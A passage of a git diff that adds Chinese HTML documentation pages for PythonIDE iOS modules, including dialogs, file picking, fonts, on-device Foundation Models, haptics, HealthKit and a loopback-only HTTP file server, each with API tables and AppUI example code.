+    do_delete()
+
+

返回按下的按钮索引(1-based)。取消抛 KeyboardInterrupt

+

input_alert(title, message="", placeholder="", secure=False, default_text="") — 文本输入;secure=True 为密码模式。

+
+
+ python +
+
+
name = dialogs.input_alert("API Key", secure=True, placeholder="sk-...")
+
+

#列表与表单

+

list_dialog(title, items, multiple=False) — 单选返回 str,多选返回 list

+
+
+ python +
+
+
color = dialogs.list_dialog("颜色", ["红", "绿", "蓝"])
+tags = dialogs.list_dialog("标签", ["A", "B", "C"], multiple=True)
+
+

form_dialog(title, fields) — 一次收集多个字段:

+
+
+ python +
+
+
result = dialogs.form_dialog("新建笔记", [
+    {"type": "text", "key": "title", "title": "标题", "value": "每日笔记"},
+    {"type": "switch", "key": "pinned", "title": "置顶", "value": True},
+])
+print(result["title"], result["pinned"])
+
+

字段 type 支持:textpasswordnumberemailurlswitch

+

#日期与 HUD

+

date_dialog(title="", mode="date")mode 可选 date / time / datetime,返回 ISO 8601 字符串。

+
+
+ python +
+
+
when = dialogs.date_dialog("选择日期", mode="date")
+
+

hud_alert(message, duration=1.0) — 自动消失的成功提示,不阻塞。

+
+
+ python +
+
+
dialogs.hud_alert("已保存!", duration=1.5)
+
+

#选型

+
需求API
简单确认alert
单个文本输入input_alert
从几个选项中选list_dialog
一次收集少量字段form_dialog
日期或时间date_dialog
短暂成功提示hud_alert
+
+

#常见错误

+
错误写法后果修正
不捕获 KeyboardInterrupt取消时脚本中断try/except KeyboardInterrupt
form_dialog 做复杂动态表单难维护改用 AppUI Form
AppUI 回调里连弹多个对话框页面卡顿合并流程或用 sheet
假设取消返回空字符串逻辑错误取消会抛异常
+
+

#相关文档

+
文档用途
appui 列表与表单AppUI 内建表单与交互
haptics操作成功后的触觉反馈
原生能力入口MiniApp 场景配方
+

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/file-picker-module/index.html b/docs/docs/pages/file-picker-module/index.html new file mode 100644 index 0000000..8dfd5fa --- /dev/null +++ b/docs/docs/pages/file-picker-module/index.html @@ -0,0 +1,467 @@ + + + + + + file_picker - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

file_picker

+

系统文件选择器与 AppUI FileImporter。

+
+ +
+

系统文件选择器:从「文件」App 或文档提供方导入文件,回调返回可访问路径列表。

+
边界:无独立 import file_picker Python 模块;通过 AppUI 的 FileImporter 唤起 UIDocumentPicker。默认 copy=True 会把文件复制进 App 沙盒再返回路径。相册图片请用 photosPhotoPicker,不是本组件。
+

#模块概览

+
说明
导入import appui
适合做什么导入 PDF/CSV/文本、选取用户文档、批量导入附件
调用时机用户点击 FileImporter 按钮;在 on_picked 回调里读文件
推荐顺序点选 → on_picked(paths) → 判空 → 后台或按钮里读取
取消行为用户取消通常不触发回调,或收到空列表
+
+

#快速开始

+

下面脚本展示最小文件导入页:选中文本/PDF/CSV 后列出路径。

+
+
+ python +
+
+
import appui
+
+state = appui.State(files=[])
+
+
+def on_picked(paths):
+    state.files = paths or []
+
+
+def body():
+    return appui.Form([
+        appui.FileImporter(
+            allowed_types=["text", "pdf", "csv"],
+            allows_multiple=True,
+            on_picked=on_picked,
+            label=appui.Label("选择文件", system_image="doc.badge.plus"),
+        ),
+        appui.Text("已选: " + (" | ".join(state.files) if state.files else "无")),
+    ])
+
+
+appui.run(body, state=state)
+
+
+

#AppUI 示例

+

在回调里保存路径;读取文件内容放在后续按钮动作,避免在 body() 里同步读大文件。

+
+
+ python +
+
+
import appui
+import os
+
+state = appui.State(
+    files=[],
+    preview="尚未选择文件",
+    status="点击导入按钮开始",
+)
+
+
+def on_files(paths):
+    paths = paths or []
+    state.files = paths
+    if not paths:
+        state.batch_update(
+            preview="—",
+            status="未选择任何文件",
+        )
+        return
+
+    name = os.path.basename(paths[0])
+    size = "—"
+    try:
+        size = f"{os.path.getsize(paths[0]):,} 字节"
+    except OSError:
+        pass
+
+    state.batch_update(
+        preview=f"{name} · {size}",
+        status=f"已导入 {len(paths)} 个文件",
+    )
+
+
+def body():
+    rows = [
+        appui.Text(path).font("caption").line_limit(2)
+        for path in state.files
+    ]
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("导入", [
+                appui.FileImporter(
+                    allowed_types=["text", "pdf", "csv", "public.data"],
+                    allows_multiple=True,
+                    copy=True,
+                    on_picked=on_files,
+                    label=appui.Label("从文件 App 导入", system_image="folder"),
+                ),
+                appui.Text(state.status).foreground_color("secondaryLabel"),
+            ]),
+            appui.Section("预览", [
+                appui.LabeledContent("首个文件", value=state.preview),
+            ]),
+            appui.Section(
+                "路径列表",
+                rows or [
+                    appui.ContentUnavailableView(
+                        "暂无文件",
+                        system_image="doc",
+                        description="从系统文件选择器导入",
+                    )
+                ],
+            ),
+        ]).navigation_title("文件选择")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#API 参考

+

#速查

+
参数作用
allowed_types限制可选类型(扩展名、MIME、UTType 名)
allows_multiple是否多选
copy是否复制到沙盒(默认 True
on_picked回调 (paths: list[str])
label自定义按钮外观
+

#FileImporter {#file-importer}

+

FileImporter(allowed_types=None, allows_multiple=False, copy=True, on_picked=None, label=None)

+
+
+ python +
+
+
def on_files_picked(paths):
+    print(paths)
+
+
+appui.FileImporter(
+    allowed_types=["pdf", "csv", "text", "image/png"],
+    allows_multiple=False,
+    copy=True,
+    on_picked=on_files_picked,
+    label=appui.Button("导入"),
+)
+
+

#allowed_types 常用值

+
含义
text / plain纯文本
pdfPDF
csvCSV
image / jpeg / png图片
public.data / item较宽的文件类型
+

未识别类型时回退为系统通用 item

+

#读取已选文件

+
+
+ python +
+
+
def on_picked(paths):
+    if not paths:
+        return
+    with open(paths[0], "r", encoding="utf-8", errors="ignore") as f:
+        text = f.read(4000)
+
+

大文件请在按钮回调或后台任务读取,不要阻塞 body()

+

#与 PhotoPicker 的区别

+
组件来源回调
PhotoPicker照片库媒体文件路径列表
FileImporter文件 App / iCloud / 第三方提供方任意允许类型路径列表
+
+

#常见错误

+
错误写法后果修正
body()open(path)每次刷新重复读盘放进 on_picked 或按钮回调
不处理空列表取消后逻辑异常paths = paths or []
copy=False 读外部卷路径可能很快失效保持 copy=True(默认)
选相册图片用 FileImporter体验差、类型受限PhotoPicker
+
+

#相关文档

+
文档用途
photos相册选图 / 拍照
pdfPDF 生成与预览
AppUI 媒体参考FileImporter 完整签名
AppUI 媒体指南更多媒体集成模式
+

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/font-picker-module/index.html b/docs/docs/pages/font-picker-module/index.html new file mode 100644 index 0000000..0c9639b --- /dev/null +++ b/docs/docs/pages/font-picker-module/index.html @@ -0,0 +1,428 @@ + + + + + + font_picker - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

font_picker

+

系统字体选择器。

+
+ +
+

系统字体选择器:弹出 UIFontPickerViewController,返回用户选中的字体信息。

+
边界pick()阻塞脚本直到用户完成或取消(与 dialogs 类似)。只能放在按钮回调里,不要在 body() 或模块导入时调用。不需要额外权限。
+

#模块概览

+
说明
导入import font_picker
适合做什么主题设置、笔记 App 选字体、设计工具
调用时机用户点击按钮后调用 pick()
推荐顺序按钮回调 → pick() → 判空 → 写入 State
取消处理用户取消返回 None
+
+

#快速开始

+

下面脚本弹出字体选择器并打印结果:

+
+
+ python +
+
+
import font_picker
+
+try:
+    font = font_picker.pick()
+    if font is None:
+        print("用户取消")
+    else:
+        print(font["family"], font["name"], font.get("point_size"))
+except font_picker.FontPickerError as exc:
+    print("字体选择失败:", exc, f"code={exc.code}")
+
+
+

#AppUI 示例

+

pick() 放在按钮回调;结果写回 State 并用 Text 预览字体名。

+
+
+ python +
+
+
import appui
+import font_picker
+
+state = appui.State(
+    family="—",
+    name="—",
+    size="—",
+    status="点击按钮选择字体",
+)
+
+
+def choose_font():
+    try:
+        font = font_picker.pick()
+        if font is None:
+            state.batch_update(
+                family="—",
+                name="—",
+                size="—",
+                status="用户取消选择",
+            )
+            return
+
+        state.batch_update(
+            family=font.get("family", "—"),
+            name=font.get("name", "—"),
+            size=str(font.get("point_size", "—")),
+            status="已选择字体",
+        )
+    except font_picker.FontPickerError as exc:
+        state.status = f"选择失败: {exc}"
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("当前字体", [
+                appui.LabeledContent("族名", value=state.family),
+                appui.LabeledContent("字体名", value=state.name),
+                appui.LabeledContent("字号", value=state.size),
+                appui.Text(state.name)
+                .font("title2")
+                .foreground_color("label"),
+            ]),
+            appui.Section("操作", [
+                appui.Button("选择字体", action=choose_font)
+                .button_style("bordered_prominent"),
+                appui.Text(state.status).foreground_color("secondaryLabel"),
+            ], footer="pick() 会阻塞直到用户完成;请在按钮回调中调用。"),
+        ]).navigation_title("字体")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#API 参考

+

#速查

+
API作用
pick()弹出系统字体选择器 → 字体字典 / None
FontPickerErrorBridge 不可用或调用失败
+

#pick()

+

pick() -> dict | None

+
+
+ python +
+
+
font = font_picker.pick()
+
+

成功时返回字典:

+
字段说明
family字体族名,如 PingFang SC
namePostScript 字体名
point_size选择器中的参考字号(默认约 17)
+

用户取消时返回 None

+

#异常

+

Bridge 不可用时抛出 FontPickerError

+
+
+ python +
+
+
try:
+    font = font_picker.pick()
+except font_picker.FontPickerError as exc:
+    print(exc.code)
+
+
+

#常见错误

+
错误写法后果修正
body()pick()每次刷新都弹选择器放进按钮回调
不判断 None用户取消后访问键崩溃if font is None: return
onAppear 自动 pick()页面一打开就阻塞等用户点击
point_size 当最终 UI 字号可能与你的布局不一致自行设定 appui.Text(...).font(...)
+
+

#相关文档

+
文档用途
dialogs其他阻塞式系统面板
AppUI 控件参考Text 字体修饰符
原生能力入口MiniApp 场景配方
+

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/foundation-models-module/index.html b/docs/docs/pages/foundation-models-module/index.html new file mode 100644 index 0000000..b1e9b36 --- /dev/null +++ b/docs/docs/pages/foundation-models-module/index.html @@ -0,0 +1,425 @@ + + + + + + foundation_models - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

foundation_models

+

设备端大模型文本生成(Foundation Models,iOS 26+)。

+
+ +
+

端侧文本生成(Apple Foundation Models,iOS 26+):对话、摘要、错误解释。

+
边界:需 iOS 26+ 且设备支持 Apple Intelligence 端侧模型。与云端 Agent 不同;带工具调度的助手请用 assistant
+

#模块概览

+
说明
导入import foundation_models
适合做什么本地摘要、代码解释、短问答
调用时机respond / summarize 放在按钮回调
推荐顺序is_available() → 选择 API → 传入文本
隐私推理在设备端完成,不经过本模块发网络请求
+
+

#快速开始

+
+
+ python +
+
+
import foundation_models
+
+if not foundation_models.is_available():
+    print("Foundation Models 不可用")
+else:
+    answer = foundation_models.respond("用三句话介绍 Python")
+    print(answer)
+
+    summary = foundation_models.summarize("很长的文章正文……", max_sentences=3)
+    print(summary)
+
+

解释 Python 报错:

+
+
+ python +
+
+
import foundation_models
+
+hint = foundation_models.explain_error(
+    "NameError: name 'x' is not defined",
+    code_snippet="print(x)",
+)
+print(hint)
+
+
+

#AppUI 示例

+
+
+ python +
+
+
import appui
+import foundation_models
+
+state = appui.State(
+    available="—",
+    prompt="用一句话介绍 PythonIDE",
+    output="—",
+)
+
+
+def refresh_available():
+    state.available = "是" if foundation_models.is_available() else "否"
+
+
+def ask_model():
+    refresh_available()
+    if state.available != "是":
+        state.output = "Foundation Models 不可用(需 iOS 26+)"
+        return
+
+    try:
+        state.output = foundation_models.respond(state.prompt)
+    except foundation_models.FoundationModelsError as exc:
+        state.output = str(exc)
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("提问", [
+                appui.TextEditor(text=state.prompt).frame(min_height=80),
+                appui.Button("生成回答", action=ask_model)
+                .button_style("bordered_prominent"),
+            ]),
+            appui.Section("结果", [
+                appui.LabeledContent("可用", value=state.available),
+                appui.Text(state.output).foreground_color("secondaryLabel"),
+            ]),
+        ]).navigation_title("端侧模型")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#API 参考

+

#速查

+
API作用
is_available()端侧模型是否可用 → bool
respond(prompt, instructions=None)自由问答 → str
summarize(text, max_sentences=3)文本摘要 → str
explain_error(error, code_snippet='')解释报错 → str
FoundationModelsError操作失败异常
+

#respond

+
+
+ python +
+
+
text = foundation_models.respond(
+    "总结这段日志的关键问题",
+    instructions="回答要简短,用中文",
+)
+
+

#summarize / explain_error

+
+
+ python +
+
+
foundation_models.summarize(long_text, max_sentences=5)
+foundation_models.explain_error("SyntaxError: invalid syntax", code_snippet="if True\nprint()")
+
+
+

#常见错误

+
错误写法后果修正
在低版本 iOS 调用is_available() 为 False检查系统版本与机型
body() 里自动生成每次刷新重复推理放进按钮回调
期望访问日历/照片等工具本模块无工具assistant
超长上下文一次传入可能截断或失败分段摘要
+
+

#相关文档

+
文档用途
assistant带内置设备工具的助手
translation文本翻译
+

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/haptics-module/index.html b/docs/docs/pages/haptics-module/index.html new file mode 100644 index 0000000..24e5a75 --- /dev/null +++ b/docs/docs/pages/haptics-module/index.html @@ -0,0 +1,444 @@ + + + + + + haptics - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

haptics

+

触觉反馈和 Core Haptics 模式。

+
+ +
+

iOS 触觉反馈:在用户明确操作后触发冲击、选择、通知类震动,或播放 Core Haptics 自定义模式。

+
边界:触觉是辅助反馈,不能替代文字、颜色或状态变化。无触觉设备或用户关闭系统触觉时,界面仍要有可见反馈。不要在 AppUI body() 里触发,否则刷新时会重复震动。
+

#模块概览

+
说明
导入import haptics
适合做什么按钮点击、选项切换、保存成功/失败、危险操作拦截
调用时机放在按钮或明确事件回调;不要写在 body()
推荐顺序用户操作 → haptics.* → 同时更新 State 文案
两套 APIimpact/selection/notification 适合大多数场景;play 需先 is_supported()
+
+

#快速开始

+

下面脚本依次触发选择、冲击和成功通知反馈:

+
+
+ python +
+
+
import haptics
+
+haptics.selection()
+haptics.impact("medium", intensity=0.8)
+haptics.notification("success")
+
+# 快捷方式
+haptics.success()
+haptics.light()
+
+
+

#AppUI 示例

+

触觉放在按钮回调里,同时更新界面状态。

+
+
+ python +
+
+
import appui
+import haptics
+
+state = appui.State(
+    message="点击按钮体验触觉反馈",
+    core_haptics="未检测",
+)
+
+
+def refresh_support():
+    state.core_haptics = "支持" if haptics.is_supported() else "不支持"
+
+
+def choose_item():
+    haptics.selection()
+    state.message = "选择反馈 · 轻微滴答"
+
+
+def save_item():
+    haptics.success()
+    state.message = "成功反馈 · 保存完成"
+
+
+def show_error():
+    haptics.error()
+    state.message = "错误反馈 · 请检查输入"
+
+
+def play_pattern():
+    if not haptics.is_supported():
+        state.message = "当前设备不支持 Core Haptics"
+        return
+    events = [
+        {"type": "transient", "time": 0.0, "intensity": 1.0, "sharpness": 0.8},
+        {"type": "continuous", "time": 0.08, "duration": 0.25, "intensity": 0.5, "sharpness": 0.3},
+    ]
+    ok = haptics.play(events)
+    state.message = "自定义模式已播放" if ok else "播放失败"
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("设备", [
+                appui.LabeledContent("Core Haptics", value=state.core_haptics),
+                appui.Button("检测支持情况", action=refresh_support),
+            ]),
+            appui.Section("UIKit 反馈", [
+                appui.Button("选择", action=choose_item),
+                appui.Button("保存成功", action=save_item)
+                .button_style("bordered_prominent"),
+                appui.Button("模拟错误", action=show_error, role="destructive"),
+            ]),
+            appui.Section("自定义", [
+                appui.Button("播放短模式", action=play_pattern),
+                appui.Text(state.message).foreground_color("secondaryLabel"),
+            ]),
+        ]).navigation_title("触觉反馈")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#API 参考

+

#速查

+
API作用
selection()选项切换的轻微滴答
impact(style, intensity=1.0)冲击反馈
notification(type)成功/警告/错误通知反馈
success() / warning() / error()notification 快捷方式
light() / medium() / heavy()impact 快捷方式
is_supported()是否支持 Core Haptics
play(events)播放自定义事件列表
stop()停止 Core Haptics 引擎
+

#UIKit 反馈

+

适合绝大多数按钮和状态场景:

+
+
+ python +
+
+
import haptics
+
+haptics.selection()
+haptics.impact("medium", intensity=0.8)
+haptics.notification("success")
+
+
API参数说明
impact(style, intensity=1.0)light / medium / heavy / soft / rigid点击冲击感
notification(type)success / warning / error结果类反馈
selection()选择变化
+

#快捷方法

+
方法等价于
success()notification("success")
warning()notification("warning")
error()notification("error")
light()impact("light")
medium()impact("medium")
heavy()impact("heavy")
+

#Core Haptics

+

is_supported() — 播放自定义模式前先检查。

+

play(events) — 事件列表,每项为 dict

+
+
+ python +
+
+
events = [
+    {"type": "transient", "time": 0.0, "intensity": 1.0, "sharpness": 0.8},
+    {"type": "continuous", "time": 0.08, "duration": 0.25, "intensity": 0.5, "sharpness": 0.3},
+]
+if haptics.is_supported():
+    haptics.play(events)
+
+
字段说明
typetransientcontinuous
time开始时间(秒)
duration持续时间(continuous 用)
intensity / sharpness强度与锐度 0..1
+

stop() — 退出页面或中断模式时停止引擎。

+
+

#常见错误

+
错误写法后果修正
body() 里调 haptics.success()刷新时重复震动放进按钮回调
只震动不更新 UI无触觉设备上无反馈同时改 State 或显示 HUD
不检查就 play(events)部分设备无效is_supported()
高频循环触发体验差、耗电仅在关键状态变化时触发一次
+
+

#相关文档

+
文档用途
device设备能力与系统信息
原生能力入口MiniApp 场景配方
+

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/health-module/index.html b/docs/docs/pages/health-module/index.html new file mode 100644 index 0000000..8031f17 --- /dev/null +++ b/docs/docs/pages/health-module/index.html @@ -0,0 +1,499 @@ + + + + + + health - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

health

+

HealthKit 授权、查询和体重写入。

+
+ +
+

HealthKit 健康数据:申请授权、读取步数/心率/睡眠等,写入体重样本。

+
边界:健康数据非常敏感。只请求当前功能需要的类型(如 stepsheart_rate),不要一次申请全部。查询结果只做展示,不做医疗诊断;不要把明细写入 storage
+

#模块概览

+
说明
导入import health
适合做什么步数/心率/睡眠仪表盘、体重记录、血压汇总
调用时机授权和读取放在按钮回调;不要在 body() 里读 HealthKit
推荐顺序is_available()request_authorization(read=[...]) → 查询
类型名用文档列出的 snake_case 类型名;时间范围用 Unix timestamp
+
+

#快速开始

+

下面脚本申请权限并读取最近 24 小时步数与心率:

+
+
+ python +
+
+
import time
+import health
+
+if not health.is_available():
+    print("当前设备不支持 HealthKit")
+else:
+    ok = health.request_authorization(read=["steps", "heart_rate"])
+    if ok:
+        end = time.time()
+        start = end - 86400
+        print("步数:", health.query_steps(start=start, end=end))
+        print("心率:", health.query_heart_rate(start=start, end=end))
+    else:
+        print("用户未授权读取健康数据")
+
+
+

#AppUI 示例

+

授权和读取放在按钮回调;空结果展示明确状态。

+
+
+ python +
+
+
import appui
+import health
+
+state = appui.State(
+    status="未读取",
+    steps="—",
+    heart_rate="—",
+    sleep="—",
+)
+
+
+def refresh_dashboard():
+    if not health.is_available():
+        state.batch_update(
+            status="设备不支持 HealthKit",
+            steps="—",
+            heart_rate="—",
+            sleep="—",
+        )
+        return
+
+    read_types = ["steps", "heart_rate", "sleep"]
+    if not health.request_authorization(read=read_types):
+        state.batch_update(
+            status="未授权读取健康数据",
+            steps="—",
+            heart_rate="—",
+            sleep="—",
+        )
+        return
+
+    steps = int(health.query_steps() or 0)
+    heart_records = health.query_heart_rate() or []
+    sleep_records = health.query_sleep() or []
+
+    state.batch_update(
+        status="最近 24 小时步数 · 7 天睡眠",
+        steps=f"{steps:,}",
+        heart_rate=f"{len(heart_records)} 条记录",
+        sleep=f"{len(sleep_records)} 条记录",
+    )
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("今日概览", [
+                appui.LabeledContent("步数", value=state.steps),
+                appui.LabeledContent("心率", value=state.heart_rate),
+                appui.LabeledContent("睡眠", value=state.sleep),
+            ]),
+            appui.Section("操作", [
+                appui.Button("刷新健康数据", action=refresh_dashboard)
+                .button_style("bordered_prominent"),
+                appui.Text(state.status).foreground_color("secondaryLabel"),
+            ], footer="仅展示数据,不做诊断;真机 + 健康 App 有数据时效果最好。"),
+        ]).navigation_title("健康")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#API 参考

+

#速查

+
API作用
is_available()设备是否支持 HealthKit
request_authorization(read, write)申请读写权限 → bool
authorization_status(type_id)查询某类型授权状态
query_steps(start, end)步数(默认最近 24h)
query_heart_rate(start, end)心率记录列表
query_sleep(start, end)睡眠数据(默认最近 7 天)
query_weight(limit) / save_weight(kg)读取 / 写入体重
query_blood_pressure(start, end)血压记录(默认 30 天)
summarize_blood_pressure(records)血压统计汇总
+

#授权

+
+
+ python +
+
+
import health
+
+if health.is_available():
+    ok = health.request_authorization(
+        read=["steps", "heart_rate"],
+        write=["weight"],
+    )
+    status = health.authorization_status("steps")
+
+

常用授权类型:stepsheart_rateweightsleepworkoutblood_pressure_systolicblood_pressure_diastolicdistancecalories

+

血压授权推荐使用组件类型:

+
+
+ python +
+
+
health.request_authorization(
+    read=["blood_pressure_systolic", "blood_pressure_diastolic"]
+)
+
+

blood_pressure 只作为兼容简写,会在运行时展开为收缩压和舒张压组件;不要把任意 HealthKit 原始标识符传给 request_authorization

+
注意:只申请当前页面需要的类型,用户更容易接受。
+

#读取数据

+

query_steps(start=None, end=None) — 返回步数整数,默认最近 24 小时。

+

query_heart_rate(start, end) — 返回 [{value, start, end}, ...],单位 bpm。

+

query_sleep(start, end) — 睡眠分析记录,默认最近 7 天。

+

query_weight(limit=10) — 最近体重 [{value, date}, ...],单位 kg。

+

query_workouts(limit=20) — 最近锻炼记录。

+

query_quantity(type_id, start, end, unit) — 通用数量查询。

+
+
+ python +
+
+
import time
+
+end = time.time()
+start = end - 86400
+steps = health.query_steps(start=start, end=end)
+
+

#写入

+

save_weight(kg, timestamp=None) — 保存体重样本到 HealthKit。

+
+
+ python +
+
+
health.save_weight(70.5)
+
+

需先在 request_authorizationwrite 中包含 weight

+

#血压汇总

+
+
+ python +
+
+
records = health.query_blood_pressure()
+summary = health.summarize_blood_pressure(records)
+# count, latest, systolic/diastolic avg/min/max — 不做诊断
+
+
+

#常见错误

+
错误写法后果修正
read=["step_count"]read=["HKQuantityTypeIdentifier..."]类型名错误,授权会返回 False使用文档列出的 snake_case 类型
read=["blood_pressure"] 依赖组合别名不同系统对血压组合授权表现不一致使用 blood_pressure_systolic + blood_pressure_diastolic
一次申请所有权限用户易拒绝只申请当前需要的类型
健康明细写入 storage敏感数据扩散只展示汇总
对异常值做诊断结论误导用户仅展示原始/统计数据
+
+

#相关文档

+
文档用途
permission统一权限查询(HealthKit 用本模块授权)
storage非敏感偏好存储
原生能力入口MiniApp 场景配方
+

#健康仪表盘配方

+
+
+ python +
+
+
import appui
+import health
+
+
+def body():
+    return appui.Form([
+        appui.Section("健康", [
+            appui.Text("在授权后读取步数等指标并绑定到 State"),
+        ])
+    ])
+
+

预期效果:打开健康数据展示页;未授权时提示用户去系统设置授权。

+

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/http-server-module/index.html b/docs/docs/pages/http-server-module/index.html new file mode 100644 index 0000000..216f408 --- /dev/null +++ b/docs/docs/pages/http-server-module/index.html @@ -0,0 +1,436 @@ + + + + + + http_server - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

http_server

+

本地 HTTP 文件服务器。

+
+ +
+

本地 HTTP 文件服务器:在 127.0.0.1 上提供 Documents(或指定目录)的静态文件访问。

+
边界:仅监听本机回环地址,供同设备上的浏览器或其他客户端读取文件。不是公网服务器;远程访问请用 sshnetworkstart() / stop() 放在按钮回调,离开页面前应 stop()
+

#模块概览

+
说明
导入import http_server
适合做什么临时共享工作区文件、本地调试静态资源、给其他 App 读文件
调用时机用户点击启动;页面关闭或切换时停止
推荐顺序start() 拿 URL → status() 确认 → 访问文件 → stop()
根目录默认 App Documents;可用 root_dir 指定
+
+

#快速开始

+

下面脚本在 18080 端口启动服务、查看状态并停止:

+
+
+ python +
+
+
import http_server
+
+try:
+    url = http_server.start(port=18080)
+    print("服务地址:", url)
+    print(http_server.status())
+finally:
+    http_server.stop()
+
+

访问 http://127.0.0.1:18080/你的文件名 可读取 root_dir 下的文件;根路径 / 返回 JSON 提示。

+
+

#AppUI 示例

+

启动/停止放在按钮回调;状态展示当前 URL 与根目录。

+
+
+ python +
+
+
import appui
+import http_server
+
+state = appui.State(
+    running=False,
+    url="—",
+    port="—",
+    root="—",
+    status="点击启动本地服务",
+)
+
+
+def refresh_status():
+    try:
+        st = http_server.status() or {}
+        state.batch_update(
+            running=bool(st.get("running")),
+            url=st.get("url") or "—",
+            port=str(st.get("port", "—")),
+            root=st.get("root_dir") or "—",
+        )
+    except http_server.HttpServerError as exc:
+        state.status = f"查询失败: {exc}"
+
+
+def start_server():
+    try:
+        url = http_server.start(port=18080)
+        refresh_status()
+        state.status = f"已启动: {url}"
+    except http_server.HttpServerError as exc:
+        state.status = f"启动失败: {exc}"
+
+
+def stop_server():
+    try:
+        http_server.stop()
+        state.batch_update(
+            running=False,
+            url="—",
+            port="—",
+            status="已停止",
+        )
+        refresh_status()
+    except http_server.HttpServerError as exc:
+        state.status = f"停止失败: {exc}"
+
+
+def body():
+    label = "停止服务" if state.running else "启动服务"
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("服务状态", [
+                appui.LabeledContent("运行中", value="是" if state.running else "否"),
+                appui.LabeledContent("地址", value=state.url),
+                appui.LabeledContent("端口", value=state.port),
+                appui.LabeledContent("根目录", value=state.root),
+            ]),
+            appui.Section("操作", [
+                appui.Button(label, action=stop_server if state.running else start_server)
+                .button_style("bordered_prominent"),
+                appui.Button("刷新状态", action=refresh_status),
+                appui.Text(state.status).foreground_color("secondaryLabel"),
+            ], footer="仅本机 127.0.0.1;把文件放进根目录后通过 URL 访问。"),
+        ]).navigation_title("HTTP 服务")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#API 参考

+

#速查

+
API作用
start(port, root_dir)启动服务 → 访问 URL
stop()停止服务
status(){running, port, url, root_dir}
HttpServerError操作失败时抛出
+

#start

+

start(port=8080, root_dir=None)

+
+
+ python +
+
+
url = http_server.start()
+url = http_server.start(port=18080, root_dir="/path/to/folder")
+
+
参数说明
port监听端口(默认 8080)
root_dir文件根目录;省略时用 Documents
+

返回形如 http://127.0.0.1:8080/ 的 URL。若端口已被占用或无效会抛出 HttpServerError

+

#stop / status

+

stop() — 关闭监听器。

+

status() 返回:

+
字段说明
running是否正在服务
port当前端口
url访问地址(未运行时为空)
root_dir文件根目录
+

#访问规则

+
  • GET / → JSON 提示 {"ok":true,"message":"PythonIDE http_server"}
  • GET /filename → 读取 root_dir/filename 的二进制内容
  • 简单 HTTP/1.1,单次请求后关闭连接
+
+

#常见错误

+
错误写法后果修正
body()start()刷新时重复启动放进按钮回调
页面离开不 stop()端口占用、耗电停止按钮或退出时清理
端口被占用启动失败换端口或先 stop()
期望公网访问仅本机回环用 SSH 隧道或其他方案
+
+

#相关文档

+
文档用途
networkHTTP 客户端下载
background_download后台大文件下载
ssh远程文件传输
storage记录服务端口等配置
+

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/ios-native/index.html b/docs/docs/pages/ios-native/index.html new file mode 100644 index 0000000..e68dd64 --- /dev/null +++ b/docs/docs/pages/ios-native/index.html @@ -0,0 +1,457 @@ + + + + + + iOS 原生能力 - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

iOS 原生能力

+

相册、联系人、权限、相机、控制台和安全存储。

+
+ +
+

iOS 原生 Python 模块总入口:按任务选模块、组合调用、权限与真机要求速查。

+
边界:这是 能力索引页,不是 import 名。具体 API 见各模块文档;系统面板、硬件扫描、权限申请必须由按钮或菜单触发,不要在 AppUI body() 或模块导入时自动执行。
+

#模块概览

+
说明
导入按任务 import 对应模块(如 import photos
适合做什么相册、定位、通知、蓝牙、健康、网络等系统能力
调用时机按钮/刷新/选择器触发;body() 只展示 State
敏感数据token/密钥 → keychain;普通设置 → storage
文档导航schema navigation.iosNative 投影;见下方 文档导航
下一步按场景配方选模块 → 打开模块页 → 复制 AppUI 示例
+
+

#快速开始

+

相册、剪贴板、HUD 与钥匙串组合(函数式,适合脚本调试):

+
+
+ python +
+
+
import clipboard
+import console
+import keychain
+import photos
+
+
+def pick_photo_and_copy_size():
